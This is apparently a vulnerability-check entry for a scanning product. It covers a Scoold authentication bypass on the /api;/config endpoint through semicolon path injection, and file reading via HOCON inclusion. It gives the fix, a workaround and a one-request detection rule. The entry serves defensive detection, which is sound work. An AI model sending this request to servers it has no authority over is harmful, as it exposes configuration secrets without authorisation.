Readycheck to confirm it

Scoold is a Q&A and a knowledge sharing platform for teams. A semicolon path injection vulnerability was found on the /api;/config endpoint. By appending a semicolon in the URL, attackers can bypass authentication and gain unauthorised access to sensitive configuration data. Furthermore, PUT requests on the /api;/config endpoint while setting the Content-Type- application/hocon header allow unauthenticated attackers to file reading via HOCON file inclusion. This allows attackers to retrieve sensitive information such as configuration files from the server, which can be leveraged for further exploitation. The vulnerability has been fixed in Scoold 1.64.0. A workaround would be to disable the Scoold API with scoold.api_enabled = false.

Impact

Attackers can bypass authentication and read sensitive configuration data from the Scoold API.

Fix

Update Scoold to version 1.64.0 or later, or disable the Scoold API with scoold.api_enabled = false.

How to confirm it

Send: PUT /api;/config
Positive when: contains(body, "scoold.app_name") and contains(content_type,"application/json") and status_code==200
